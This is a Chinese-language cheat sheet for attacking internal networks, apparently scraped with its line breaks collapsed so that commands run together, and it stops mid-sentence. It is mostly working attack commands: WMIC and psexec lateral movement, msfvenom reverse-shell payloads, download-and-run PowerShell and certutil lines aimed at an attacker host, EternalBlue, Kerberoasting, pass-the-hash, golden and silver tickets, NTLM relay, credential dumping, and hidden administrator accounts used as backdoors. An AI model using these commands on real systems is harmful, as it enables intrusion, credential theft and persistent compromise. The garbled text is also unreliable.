\\192.168.0.55\c$\windows\temp>wmic /NODE:" 192.168.0.55" /user:"administrator" /password:"password" PROCESS call create "c:\windows\temp\ok.exe">del \\192.168.0.55\c$\windows\temp\ok.exe /F>net use \\192.168.0.55\c$ /del快速定位域管理登過的機器>psexec –accepteula @ips.txt –u admin –p pass@123 –c 1.battasklist /v | find 「域管理名字」@echo offecho check ip addr config file…if not exist ip.txt echo ip addr config file ip.txt does not exist! & goto endecho read and analysis file…for /F 「eol=:endexitMSF添加路由# route add 內網網卡ip 子網掩碼 session的id# route list&Meterpreter>run get_local_subnets查看網段信息再添加路由# run autoroute -s內網網卡ip/24# run autoroute -p 查看路由表&Meterpreter>run post/multi/manage/autorouteMSF管道監聽在已經獲得meterpreter的機器上配置管道監聽器meterpreter > pivot add -t pipe -l 已控IP -n bgpipe -a x86 -p windows生成>msfvenom -p windows/meterpreter/reverse_named_pipe PIPEHOST=已控IP PIPENAME=bgpipe -f exe -o pipe.exe.代理
SSH正向代理SSH動態轉發,是建立正向加密的socks通道出網靶機編輯後restart ssh服務AllowTcpForwarding yes 允許TCP轉發GatewayPorts yes 允許遠程主機連接本地轉發的埠TCPKeepAlive yes TCP會話保持存活PasswordAuthentication yes 密碼認證外部攻擊機執行>ssh -C -f -N -g -D 0.0.0.0:12138 root@出網靶機IP -p 22MSF中設置全局代理或使用其他軟體>setg proxies socks5:0.0.0.0:12138即可進行攻擊隔離區機器反向代理
AllowTcpForwarding yes 允許TCP轉發GatewayPorts yes 允許遠程主機連接本地轉發的埠TCPKeepAlive yes TCP會話保持存活PasswordAuthentication yes 密碼認證ClientAliveInterval 修改為30-60保持連接ClientAliveCountMax 取消注釋 發送請求沒響應自動斷開次數107是外網攻擊機內網靶機執行:>ssh -p 22 -qngfNTR 12138:127.0.0.1:22 root@192.168.0.107
攻擊機執行
>ssh -p 12138 -qngfNTD 12345 root@192.168.0.107
隧道建立,可使用代理軟體配置攻擊機外網IP:12345訪問內網
SSH隧道+rc4雙重加密生成木馬>msfvenom -p windows/x64/meterpreter/bind_tcp_rc4 rc4password=123456 lport=446 -f exe -o /var/www/html/bind.exeMSF設置>setg proxies socks5:0.0.0.0:12138>use exploit/multi/handler>set payload windows/x64/meterpreter/bind_tcp_rc4>set rc4password 123456>set rhost 10.1.1.97>set lport 446
公網SSH隧道+Local MSF>msfvenom -p windows/x64/meterpreter/reverse_tcp -e x64/shikata_ga_nai -i 5 -b 『\x00』 LHOST=公網IP LPORT=12138 -f exe –o /var/www/html/1.exeHandler監聽本地IP:12138SSH轉發>ssh -N -R 12138:本地內網IP:12138 root@公網IPsocks4a多層網絡再多配置個埠Win: Proxifier& Sockscap64Linux: proxychains& 瀏覽器&meterpreter > ipconfig IP Address : 10.1.13.3 meterpreter > run autoroute -s 10.1.13.0/24 meterpreter > run autoroute -p 10.1.13.0 255.255.255.0 Session 1 meterpreter > bg msf auxiliary(tcp) > use exploit/windows/smb/psexec msf exploit(psexec) > set RHOST 10.1.13.2 msf exploit(psexec) > exploit socks5#use auxiliary/server/socks5#set srvhost 0.0.0.0#set srvport 1080#run瀏覽器
基於web的socks5reGeorghttps://github.com/sensepost/reGeorg>python reGeorgSocksProxy.py -u http://靶機/tunnel.aspx -l 外網IP -p 10080打開Proxifier,更改為腳本指定的埠10080或proxychains
去掉dynamic_chain注釋>添加socks5 127.0.0.1 10080或MSF
或MSF>setg proxies socks5:外網IP:10080>setg ReverseAllowProxy true 允許反向代理
Neo-reGeorgStep 1. 設置密碼生成 tunnel.(aspx|ashx|jsp|jspx|php) 並上傳到WEB伺服器$ python3 neoreg.py generate -k password
偽裝頁面
$ python3 neoreg.py generate -k <you_password> --file 404.htmlStep 2. 使用 neoreg.py 連接WEB伺服器,在本地建立 socks 代理$ python3 neoreg.py -k password -u http://xx/tunnel.php$ python3 neoreg.py -k <you_password> -u <server_url> --skip開啟代理$ python neoreg.py -k <you_password> -l 外網IP -p 10081 -u http://xx/neo-tunnel.aspx
ABPTTS埠轉發
https://github.com/nccgroup/ABPTTS埠轉發>python abpttsfactory.py -o webshell 生成shell./webshell目錄下生成的相應腳本文件傳入目標中>python abpttsclient.py -c webshell/config.txt -u "http://目標網址/trans.aspx" -f 攻擊機IP:12345/目標IP:3389ABPTTS轉發內網其他機器埠
>python abpttsclient.py -c webshell/config.txt -u http:要轉發多個機器或多個埠
>python abpttsclient.py -c webshell/config.txt -u http:SSH代理一級網段需要一臺有權限的Linux靶機>python abpttsclient.py -c webshell/config.txt -u http:>ssh -p 222 -qTfnN -D 0.0.0.0:1081 root@192.168.0.107配置proxychains即可
SSH代理二級網段
需要靶機web權限,一級內網一臺web權限轉發內網web出來傳入abptts的shell>python abpttsclient.py -c webshell/config.txt -u http:>python abpttsclient.py -c webshell/config.txt -u http:SSH連接192.168.0.107:222即可到達二級網絡反彈msfkali生成bind型腳本>msfvenom -p linux/x64/shell_bind_tcp LPORT=12138 -f elf -o shell在二級不出網linux上執行將他的12138埠通過abptts轉出>python abpttsclient.py -c webshell/config.txt -u http:Msf本地監聽13128即可Tunna轉發>python proxy.py -u http:Earthworm
正向(目標機存在外網IP):>ew –s ssocksd –l 888連接sockscap64靶機外網IP+埠888反彈socks5(目標機無外網IP):
外網攻擊機:>ew -s rcsocks -l 1008 -e 888-l為socks軟體連接的埠,-e為目標主機和vps的通信埠。靶機:>ew -s rssocks -d 外網IP -e 1008 sockscap64連接攻擊機外網IP+埠1008二級環境(A有外網,B內網無外網):靶機B:>ew –s ssocksd –l 888靶機A:>ew –s lcx_tran –l 1080 –f 靶機B –g 888Sockscap64連接靶機外網IP+埠 1080二級環境(A無外網,B內網無外網):外網攻擊機:>ew –s lcx_listen –l 10800 –e 888靶機B:>ew –s ssocksd –l 999靶機A:>ew -s lcx_slave -d 外網 -e 8888 -f 靶機B -g 9999 Sockscap64連接攻擊機外網IP+埠 10080三級環境(A無外網,B內網無外網通A,C通B):
外網攻擊機:>ew -s rcsocks -l 1008 -e 888靶機A:>ew -s lcx_slave -d 外網攻擊機 -e 888 -f 靶機B -g 999靶機B:>ew -s lcx_listen -l 999 -e 777靶機C:>ew -s rssocks -d靶機B -e 777Sockscap64連接攻擊機外網IP+埠 1008Frphttps://github.com/fatedier/frp/releases/使用條件:目標主機通外網,擁有自己的公網ip對攻擊機外網服務端frps.ini進行配置[common]bind_port=8080靶機客戶端[common]server_addr=伺服器端外網IPserver_port=8080[socks5]type=tcpremote_port=12345plugin=socks5use_encryption=trueuse_compression=true以上是啟用加密和壓縮,能躲避流量分析設備。上傳frpc.exe和frpc.ini到目標伺服器上,直接運行frpc.exe(在實戰中可能會提示找不到配置文件,需要使用-c參數指定配置文件的路徑frpc.exe -c 文件路徑),可以修改文件名和配置名以混淆視聽。公網vps主機上運行./frps –c frps.ini靶機執行./frpc –c frpc.ini
MSF中設置全局變量
>setg proxies 公網IP:12345>setg ReverseAllowProxy true 運行反向代理結束攻擊
tasklist taskkill /pid 進程號 -t –fSSFhttps://github.com/securesocketfunneling/ssf/releases正向socks代理
邊界機器執行:>ssfd.exe -p 1080 linux執行:./ssfd -p 1080攻擊機執行:
>ssf.exe -D 12138 -p 1080 192.168.0.98(邊界機器IP)本機配置proxychain或proxifier
反向socks代理
內網機器執行:
>ssf.exe -F 12138 -p 1080 192.168.0.106(攻擊機IP)多級級聯多級內網機執行:>ssfd.exe -p 1080 -c config.jsonJson文件加入欄位"circuit": [ {"host": "A中繼機IP", "port":"1080"}, {"host": "B中繼機IP", "port":"1080"} ],所有中繼機執行:>ssfd.exe -p 1080 -c config.json邊界機器執行:>ssf.exe -c config.json -p 1080 多級內網機IP -X 12138邊界機執行:>nc.exe 127.0.0.1 12138即可獲得多級內網機cmdshell反彈shell攻擊機執行:>ssfd.exe -p 1080 -c config.json內網機器執行
攻擊機執行:
Shadowsockshttps://github.com/shadowsocks/libQtShadowsocks/releases/download/v2.0.2/shadowsocks-libqss-v2.0.2-win64.7z靶機新建配置文件1.json,內容為{"server":"0.0.0.0","server_port":13337,"local_address":"127.0.0.1","local_port":1080,"password":"123456","timeout":300,"method":"aes-256-cfb","fast_open":false,"workers": 1}執行>shadowsocks-libqss.exe -c 1.json –S攻擊機配置瀏覽器或其他攻擊軟體配置代理127.0.0.1:1080即可(需有http(s)/socks5功能)Goproxy
https:靶機執行>proxy.exe socks -t tcp -p "0.0.0.0:13337"攻擊機配置Proxifier
Chiselhttps://github.com/jpillora/chisel/releases攻擊機監聽>chisel.exe server -p 12138 --reverse靶機執行
>chisel.exe client 192.168.0.102:12138 R:12345:127.0.0.1:12346靶機執行
>chisel.exe server -p 12346 --socks5攻擊機執行
>chisel.exe client 127.0.0.1:12345 socks當隧道建立成功時,攻擊機本地會啟動1080埠
即可使用
https:https:下載ngrok#ngrok authtoken 授權碼#ngrok http 8080#ngrok tcp 8888代理軟體Sockscap64Proxifier Proxychains去掉dynamic_chain注釋>添加socks4 127.0.0.1 1080Ngrok內網穿透https:https:下載ngrok#ngrok authtoken 授權碼#ngrok http 8080#ngrok tcp 8888MS17-010掃描#use auxiliary/scanner/smb/smb_ms17_010#set rhosts 192.168.1.0/24&#nmap -sT -p 445,139 -open -v -Pn --script=smb-vuln-ms17-010.nse 10.11.1.0/20攻擊#use exploit/windows/smb/ms_17_010_eternalblue易藍屏#set payload windows/x64/meterpreter/reverse_tcp#use auxiliary/admin/smb/ms17_010_command#set command REG ADD \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe\" /t REG_SZ /v Debugger /d \"C:\\windows\\system32\\cmd.exe\" /fMS08_067
#nmap -sT -p 445,139 -open -v -Pn --script=smb-vuln-ms08-067.nse 10.11.1.0/20#use exploit/windows/smb/ms08_067_netapi#set payload windows/meterpreter/reverse_tcpCVE-2019-0708攻擊MySQL資料庫
攻擊MSSQL資料庫>PowerShell -Command "[System.Data.Sql.SqlDataSourceEnumerator]::Instance.GetDataSources()" 列出域內mssql主機https://github.com/NetSPI/PowerUpSQL>Get-SQLInstanceLocal >Get-SQLInstanceDomain >Get-SQLInstanceBroadcast >$Targets = Get-SQLInstanceBroadcast -Verbose | Get-SQLConnectionTestThreaded -Verbose -Threads 10 -username sa -password admin | Where-Object {$_.Status -like "Accessible"} 工作組mssql爆破>$Targets = Get-SQLInstanceDomain -Verbose | Get-SQLConnectionTestThreaded -Verbose -Threads 10 -username sa -password admin | Where-Object {$_.Status -like "Accessible"}>Get-SQLInstanceBroadcast -Verbose | Get-SQLServerLoginDefaultPw –Verbose>$Targets 域內MSSQL爆破Nishang腳本爆破MSSQL>Invoke-BruteForce -ComputerName dc.zone.com -UserList C:\test\users.txt -PasswordList C:\test\wordlist.txt -Service SQL -Verbose -StopOnSuccess#use auxiliary/scanner/mssql/mssql_login 爆破主機#use auxiliary/admin/mssql/mssql_exec 調用cmd#use auxiliary/admin/mssql/mssql_sql 執行SQL語句#use exploit/windows/mssql/mssql_payload 上線MSSQL主機http://192.168.0.107/ps/nishang/Execution/Execute-Command-MSSQL.ps1導入nishang執行MSSQL命令的腳本>IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/nishang/Execution/Execute-Command-MSSQL.ps1')>Execute-Command-MSSQL -ComputerName 192.168.0.98 -UserName sa -Password admin 會返回powershell#use auxiliary/scanner/mssql/mssql_hashdump 導出MSSQL密碼已知伺服器ntlmhash,未知mssql帳號密碼Hash注入+socks無密碼連接mssql>mimikatz "privilege::debug" "sekurlsa::pth /user:administrator /domain:. /ntlm:{hash} /run:\"C:\*\SocksCap64\SocksCap64_RunAsAdmin.exe\"" "exit"將SSMS.exe加入sockscap中啟動命令行版sqltoolhttps://github.com/uknowsec/SharpSQLTools隔離主機payload隔離主機一般與攻擊機無雙向路由,payload設置為bind讓靶機監聽。>set payload windows/meterpreter/bind_tcp>set RHOST 隔離機IP爆破Hydra參數:-l 指定的用戶名 -p 指定密碼-L 用戶名字典 -P 密碼字典-s 指定埠 -o 輸出文件>hydra -L /root/user.txt -P pass.txt 10.1.1.10 mysql>hydra -L /root/user.txt -P pass.txt 10.1.1.10 ssh -s 22 -t 4>hydra -L /root/user.txt -P pass.txt 10.1.1.10 mssql -vv>hydra -L /root/user.txt -P pass.txt 10.1.1.10 rdp -V>hydra -L /root/user.txt -P pass.txt smb 10.1.1.10 -vV>hydra -L /root/user.txt -P pass.txt ftp://10.1.1.10Medusa參數:-h 目標名或IP -H 目標列表-u 用戶名 -U 用戶名字典-p 密碼 -P 密碼字典 -f 爆破成功停止 -M 指定服務 -t 線程-n 指定埠 -e ns 嘗試空密碼和用戶名密碼相同>medusa -h ip -u sa -P /pass.txt -t 5 -f -M mssql>medusa -h ip -U /root/user.txt -P /pass.txt -t 5 -f -M mssql域內爆破
Kerbrutehttps:用戶枚舉>kerbrute_windows_amd64.exe userenum -d zone.com username.txt密碼噴射
>kerbrute_windows_amd64.exe passwordspray -d zone.com use.txt password密碼爆破
此項會產生日誌>kerbrute_windows_amd64.exe bruteuser -d zone.com pass.txt name組合爆破
格式為username:password>kerbrute_windows_amd64.exe -d zone.com bruteforce com.txtDomainPasswordSprayhttps:自動收集帳戶進行密碼噴射>Invoke-DomainPasswordSpray -Password pass組合爆破
>Invoke-DomainPasswordSpray -UserList users.txt -Domain zone.com -PasswordList passlist.txt -OutFile result.txt會產生日誌單密碼>Invoke-DomainPasswordSpray -UserList users.txt -Domain zone.com -Password password
方程式內網不產生sessionmsfvenom生成一個x64或x86的dll文件,替換該工具下的x64.dll或x86.dllwindows server 2008 ,msfvenom生成x64.dll文件msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.107 LPORT=12345 -f dll > x64.dllmsf配置use exploit/multi/handlerset payload windows/x64/meterpreter/reverse_tcpset lport 12345set lhost 192.168.0.107將該x64.dll替換到方程式利用工具下面。只需要更換目標的IP,就可以獲取session。windows server 2003 ,msfvenom生成x86.dll文件msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.107 LPORT=12345 -f dll > x86.dllmsf配置use exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset lport 12345set lhost 192.168.0.107通過ms17_010_commend模塊執行系統命令添加用戶至管理員。再指定SMBPass和SMBUser來建立windows可訪問命名管道Kerberoasting
SPN發現cmdPowershell
Powerview>Get-NetComputer -SPN termsrv*>Get-NetUser -SPN>import module GetUserSPNs.ps1Empire>usemodule situational_awareness/network/get_spn申請票據>Add-Type -AssemblyName System.IdentityModel>New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "SPN"&>kerberos::ask /target:SPN導出票據mimikatz>kerberos::list /export破解密碼
>python tgsrepcrack.py word.txt file.kirbihttps://github.com/leechristensen/tgscrack>python extractServiceTicketParts.py file.kirbi>tgscrack.exe -hashfile hash.txt -wordlist word.txt重寫票據>python kerberoast.py -p Password123 -r file.kirbi -w new.kirbi -u 500>python kerberoast.py -p Password123 -r file.kirbi -w new.kirbi -g 512注入內存、>kerberos::ptt new.kirbi
GetUserSPNshttps://github.com/SecureAuthCorp/impacket請求TGS>python GetUserSPNs.py -request -dc-ip 10.1.1.1 zone.com/y破解>hashcat -m 13100 -a 0 kerberos.txt wordlist.txtASEPRoasting當用戶關閉了kerberos預身份認證時可以進行攻擊
>Rubeus.exe asreproast /user:y /dc:10.1.1.100 /domain:zone.com
或使用Powerview結合https://github.com/gold1029/ASREPRoast
獲取不要求kerberos預身份驗證的域內用戶>Get-DomainUser -PreauthNotRequired -Properties distinguishedname –Verbose
>Get-ASREPHash -UserName y -Domain zone.com -Verbose
破解RC4-HMAC AS-REP
>john hash.txt --wordlist=wordlist.txt
PASS-THE-HASH允許本地管理組所有成員連接>reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f WMIExec & TheHash>powershell -ep bypass>IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/Invoke-TheHash/Invoke-WMIExec.ps1'); >IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/Invoke-TheHash/Invoke-TheHash.ps1');>Invoke-TheHash -Type WMIExec -Target 192.168.0.0/24 -Domain zone.com -Username godadmin -Hash f1axxxxxxxxxb771
WMI>net use \\1.1.1.1\admin$ /user:"administrator" "password">copy windowsupdate.exe \\1.1.1.1\admin$\dir\>wmic /NODE:"1.1.1.1" /user:"administrator" /password:"password" PROCESS call create "c:\windows\dir\windowsupdate.exe" >del \\1.1.1.1\admin$\dir\windowsupdate.exe /F >net use \\1.1.1.1\admin$ /delwmiexec.py
https://github.com/SecureAuthCorp/impacket >python wmiexec.py -hashes AAD3B435B51404EEAAD3B435B51404EE:A812E6C2DEFCB0A7B80868F9F3C88D09 域名/Administrator@192.168.11.1 "whoami">python wmiexec.py admin@192.168.1.2
wmiexec.vbs半交互式:>cscript //nologo wmiexec.vbs /shell 192.168.1.2 admin pass單條命令>cscript //nologo wmiexec.vbs /cmd 192.168.1.2 domain\admin pass "whoami"下載執行>wmic /node:192.168.0.115 /user:godadmin /password:password PROCESS call create "cmd /c certutil.exe -urlcache -split -f http://192.168.0.107/clickme.exe c:/windows/temp/win.exe & c:/windows/temp/win.exe & certutil.exe -urlcache -split -f http://192.168.0.107/clickme.exe delete"
Powershell>wmic /NODE:192.168.3.108 /user:"godadmin" /password:"password" PROCESS call create "powershell -nop -exec bypass -c \"IEX(New-Object Net.WebClient).DownloadString('http://192.168.0.107/xxx.txt');\""Invoke-WMIExec>powershell -ep bypass "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/Invoke-WMIExec.ps1');Invoke-WMIExec -Target 192.168.0.115 -Domain Workgroup -Username godadmin -Hash f1a5b1a3641bec99ff92fe9df700b771 -Command \"net user admin Qwe@123 /add\" -Verbose">powershell -ep bypass "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/Invoke-WMIExec.ps1');Invoke-WMIExec -Target 192.168.0.115 -Domain Workgroup -Username godadmin -Hash f1xxxxxxxxxxxxx771 -Command \"mshta http://192.168.0.107:8080/YAyAPN6odzbAzKn.hta\" -Verbose"Psexec>psexec.exe -hashes AAD3B435B51404EEAAD3B435B51404EE:A812E6C2DEFCB0A7B80868F9F3C88D09域名/Administrator@192.168.1.1 "whoami"
Mimikatz
>psexec.exe –accepteula \\192.168.1.2 –u admin –p pass cmd.exe 無確認窗
Msf
#use exploit/windows/smb/psexec
#use exploit/windows/smb/psexec_psh(powershell版本)Windows XP、Vista、2008、7、2008 r2 和2012沒有安裝KB2871997補丁的機器上,使用NTLM進行PTHmimikatz # privilege::debugmimikatz # sekurlsa::pth /user:admin /domain:xxx.com /ntlm:{ntlm}執行一個文件mimikatz # sekurlsa::pth /user:admin /domain:xxx.com /ntlm:{ntlm} /run:powershell.exeWindows 8.1 、2012 R2、安裝KB2871997的Win 7 、2008 R2和2012上可使用AES KEY進行PTH>privilege::debug>sekurlsa::ekeys>sekurlsa::pth /user:administrator /domain:zone.com /aes128:{key}
pth-winexe>pth-winexe -U godadmin%password --system --ostype=1 //192.168.0.115 cmd
Smbexec>python smbexec.py administrator@192.168.0.98
PASS-THE-TICKET名詞KDC(Key Distribution Center):密鑰分發中心,裡面包含兩個服務:AS和TGSAS(Authentication Server):身份認證服務TGS(Ticket Granting Server):票據授予服務TGT(Ticket Granting Ticket): 由身份認證服務授予的票據,用於身份認證,存儲在內存,默認有效期為10小時
黃金票據+MimikatzGolden Ticket偽造TGT(Ticket Granting Ticket),可以獲取任何Kerberos服務權限,域控中提取krbtgt的hash域控:dc.zone.com域內機器:sub2k8.zone.com域內普通用戶:y域內機器是不能訪問dc上的文件清空票據
域控中獲取krbtgt用戶的信息
>privilege::debug>mimikatz log "lsadump::dcsync /domain:zone.com /user:krbtgt"獲取信息:/domain、/sid、/aes256
在sub2k8中生成golden ticket
>mimikatz 「kerberos::golden /krbtgt:{ntlmhash} /admin:域管理 /domain:域名 /sid:sid /ticket:gold.kirbi」導入
Mimikatz#kerberos::ptt 123.kirbi
白銀票據+MimikatzSilver Ticket是偽造的TGS,只能訪問指定服務權限域控:dc.zone.com域內機器:sub2k8.zone.com域內普通用戶:y域控中導出>privilege::debug>sekurlsa::logonpasswordsSub2k8偽造票據
>mimikatz "kerberos::golden /domain:zone.com /sid:{SID} /target:dc.zone.com /service:cifs /rc4:{NTLM} /user:y /ptt"
MS14-068https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068https://github.com/crupper/Forensics-Tool-Wiki/blob/master/windowsTools/PsExec64.exe域控:dc.zone.com/10.1.1.100域內機器:sub2k8.zone.com/10.1.1.98域內普通用戶:y,Sub2k8中清除票據Mimikatz>whoami /user查看SID 創建ccache票據文件> MS14-068.exe -u y@zone.com -p password -s S-1-5-21-2346829310-1781191092-2540298887-1112 -d dc.zone.com注入票據Mimikatzpsexec無密碼登陸>PsExec.exe \\dc.xx.com\ cmd.exeMimikatz+MSF
>whoami /user 查看SIDmsf >use auxiliary/admin/kerberos/ms14_068_kerberos_checksummsf >set domain 域名msf >set password 密碼msf >set rhost 域控機器msf >set user 用戶msf >set user_sid sid得到.bin文件#apt-get install krb5-user上傳mimikatz和bin文件Mimikatz# Kerberos::clist 「xxxx.bin」 /export生成kirbi文件Meterpreter >load kiwiMeterpreter >download c:/wmpub/xxxxxx.kirbi /tmp/注入票據Meterpreter >kerberos_ticket_use /tmp/xxxxxx.kirbi#use exploit/windows/local/current_user_psexec#set TECHNIQUE PSH#set RHOST dc.xx.com#set payload windows/meterpreter/reverse_tcp#set LHOST 192.168.1.1#set session 1#exploitgoldenPac.py#exploitkali下#apt-get install krb5-user#goldenPac.py –dc-ip 10.1.1.100 –target-ip 10.1.1.100 zone.com/y:password@dc.zone.com
帳戶委派帳戶非受限委派設置用戶y為服務帳戶(服務帳戶有委派權限)
>setspn -U -A variant/golden y查詢非受限委派域內帳號,使用powerview
>Get-NetUser -Unconstrained -Domain zone.com
利用
管理員權限打開mimikatz導出TGT>privilege::debug>sekurlsa::tickets /export
清空票據,導入票據
獲得Powershell會話
> Enter-PSSession -ComputerName dc.zone.com
帳戶受限委派查詢受限委派用戶
> Get-DomainUser -TrustedToAuth –Domain zone.com查詢受限委派主機
> Get-DomainComputer -TrustedToAuth -Domain zone.com利用方法後見權限維持模塊
資源受限委派獲取域管理員>Get-DomainUser|select -First 1域對象信息>Get-DomainObject -Identity 'DC=zone,DC=com'ms-ds-machineaccountquota允許非特權用戶將最多 10 臺計算機連接到域
查看有沒有設置msDS-AllowedToActOnBehalfOfOtherIdentity策略
>Get-DomainComputer dc|select name, msDS-AllowedToActOnBehalfOfOtherIdentity
用powermad添加一具備SPN的機器帳戶
https:>New-MachineAccount -MachineAccount newcom
或
>$pass = ConvertTo-SecureString '123qwe!@#' -AsPlainText –Force>New-MachineAccount –MachineAccount newcom -Password $pass或>New-MachineAccount -MachineAccount newcom -Password $(ConvertTo-SecureString '123qwe!@#' -AsPlainText -Force)
獲取添加的機器帳戶的SID
將添加的機器帳戶的SID設置給DC的msDS-AllowedToActOnBehalfOfOtherIdentity參數>$SD=New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-2346829310-1781191092-2540298887-1122)"; $SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer dc | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}設置完成後查看
配置ACL允許訪問
>$RawBytes=Get-DomainComputer dc -Properties 'msds-allowedtoactonbehalfofotheridentity' |select -expand msds-allowedtoactonbehalfofotheridentity;$Descriptor= New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes,0;$Descriptor.DiscretionaryAcl
此時使用創建的機器帳戶的hash可偽造域管
先獲取newcom的NTLM>Rubeus.exe hash /password:123qwe!@
導入票據偽造域管用戶訪問cifs服務
>Rubeus.exe s4u /user:newcom$ /rc4:00AFFD88FA323B00D4560B F9FEF0EC2F /impersonateuser:godadmin /msdsspn:cifs/dc.zone.com /ptt
成功獲取到godadmin的tgs
CVE-2019-0708>python ntlmrelayx.py -t ldaps://dc.zone.com --remove-mic --delegate-access -smb2support>python printerbug.py zone.com/y@win7.zone.com 192.168.0.attack>python getST.py -spn host/win7.zone.com 'zone.com/機器帳戶$:密碼' -impersionate administrator -dc-ip 192.168.0.1>export KRB5CCNAME=XX.ccahe>python secretdump.py -k -no-pass dc.zone.com -just-dc
NTLM中繼Ntlmrelayx+資源受限委派域控需啟用ldaps,域機器啟用ipv6*當執行ntlmrelayx腳本時,遇到報錯修改
impacket/impacket/examples/ntlmrelayx/attacks/ldapattack.py ldapattack.py腳本,在510行上方加入if self.config.interactive:
再重新安裝>python setup.py install使用mitm6通過ipv6接管dns伺服器,配置好後開始請求網絡的WPAD>mitm6 -i eth1 -d zone.com使用ntlmreplyx.py監聽
>python ntlmrelayx.py -t ldaps:當目標重啟網絡、訪問瀏覽器、重啟電腦時會把攻擊機視為代理伺服器,當目標通過攻擊機代理伺服器訪問網絡時,攻擊機將會向目標發送代理的認證請求,並中繼NTLM認證到LDAP伺服器上,完成攻擊。這裡要使用ldaps,因為域控會拒絕在不安全的連接中創建帳戶。
可以看到
已經成功添加了一個機器帳戶RFAYOVCC密碼6YdX.NXqQGyuR7[
使用此機器帳戶申請票據
>python getST.py -spn cifs/sub2k8.zone.com zone.com/RFAYOVCC\$ -impersonate y>export KRB5CCNAME=y.ccache獲取shell>python smbexec.py -no-pass -k sub2k8.zone.comdumphash、緩存hash>python secretsdump.py -k -no-pass sub2k8.zone.com當域控機器未啟用LDAPS,並且已獲得域普通用戶權限時
使用powermad創建一個機器帳戶newcomhttps:>New-MachineAccount -MachineAccount newcom -Password $(ConvertTo-SecureString '123qwe!@#' -AsPlainText -Force)或
>python ntlmrelayx.py -t ldaps:
後續正常操作即可。
內網存在java webdav時PROPPATCH、PROPFIND、 LOCK等請求方法接受XML作為輸入時會形成xxe。攻擊者要求採用NTLM認證方式是,webdav會自動使用當前用戶的憑據認證。使用ntlmrelayx監聽>python ntlmrelayx.py -t ldaps://dc.zone.com -debug -ip 10.1.1.101 --delegate-access --escalate-user newcom\$Burp發送xxe請求PROPFIND /webdav HTTP/1.1Host: 1.1.1.1
<?xml version"1.0" encoding="UFT-8"?><!DOCTYPE xxe [<!ENTITY loot SYSTEM "http://10.1.1.101"> ]><D:xxe xmln:D="DAV:"><D:set><D:prop><a xmlns="http://xx.e">&loot;</a></D:prop></D:set></D:xxe>ResponderSMB協議截獲
內網中間人攻擊腳本,kali內置監聽網絡接口>responder -I wlan0(eth0)指定某臺機器或網段:修改/etc/responder/Responder.py中RespondTo參數。網段中有認證行為會捕獲NTLMv2 hash當訪問一個不存在的共享時修改配置文件來解析
Xp修改/usr/share/responder/servers/SMB.py定位到errorcode修改為\x71\x00\x00\xc0,刪除掉/usr/share/responder/Responder.dbXP時使用\\cmd\share形式訪問共享輸入密碼達4次會斷開連接。
定位到
修改self.ntry != 10
Win7以上修改/usr/share/responder/servers/SMB.py定位到刪除掉and GrabMessageID(data)[0:1] == "\x02",刪除掉/usr/share/responder/Responder.db修改後可以進行解析,捕獲hash,否則會報錯誤64WPAD代理欺騙
>responder -I eth0 -v -F F參數即可開啟強制WPAD認證服務抓取 hash,訪問IE或重啟電腦即可發送欺騙認證獲得hash。重啟也可以抓到
Web漏洞內網中使用文件包含漏洞和XSS
>Responder -I eth0 -vhttp:http:
中繼攻擊修改/etc/responder/Responder.conf文件,配置smb和http為Off,分別開啟兩個對話框,使用F參數啟用WPAD欺騙瀏覽器,使用/usr/share/responder/tools中的MultiReplay.py進行中繼攻擊獲得目標cmdshell。>Responder -I eth0 -v -F>python MultiReplay.py -t 192.168.0.115 -u ALLNTLMv2Hash破解
使用hashcat破解 -m 5600為NTLMv2類型
>hashcat -m 5600 pass.txt wordlists.txt
GPP-Password域內機器可訪問\\zone.com\SYSVOL\zone.com共享文件夾,翻看策略文件,查找groups.xml,ScheduledTasks\ScheduledTasks.xml,Printers\Printers.xml,Drives\Drives.xml,DataSources\DataSources.xml, Services\Services.xml等文件使用powersploit腳本解密
使用msf的auxiliary/scanner/smb/smb_enum_gpp模塊
WinRM無文件執行>winrm quickconfig –q啟動winrm或PS>Enable-PSRemoting -Force生成木馬並啟動監聽放入已獲得權限的機器C盤中
內網另外機器中執行>net use \\192.168.0.115\c$>winrm invoke create wmicimv2/win32_process @{commandline="\\192.168.0.115\c\index.exe"}添加域管命令
>net user admin$ pass@123 /add /doamin>net group "Domain admins" admin$ /add /domainSSH密鑰免密登錄
>ssh -i id_rsa user@192.168.0.110獲取保存的RDP密碼位置C:\Users\用戶名\AppData\Local\Microsoft\Credentials查看命令>cmdkey /list>mimikatz log#dpapi::cred /in:C:\Users\administrator\AppData\Local\Microsoft\Credentials\D53BF8DC4D52D75463D46595907A4015記錄guidMasterKey: {572115f2-80b1-4b1e-be1b-425f5c7a8bfd}#privilege::debug#sekurlsa::dpapi找到GUID為guidMasterKey的值下面的MasterKey: d928f5e02d2e9495f92bb…#dpapi::cred /in:C:\Users\administrator\AppData\Local\Microsoft\Credentials\D53BF8DC4D52D75463D46595907A4015 /masterkey: d928f5e02d2e9495f92bb…密碼為CredentialBlob值。後門&持久化影子用戶>net user test$ test /add>net localgroup administrators test$ /add註冊表HKEY_LOCAL_MACHINE\SAM\SAM\給予administrator 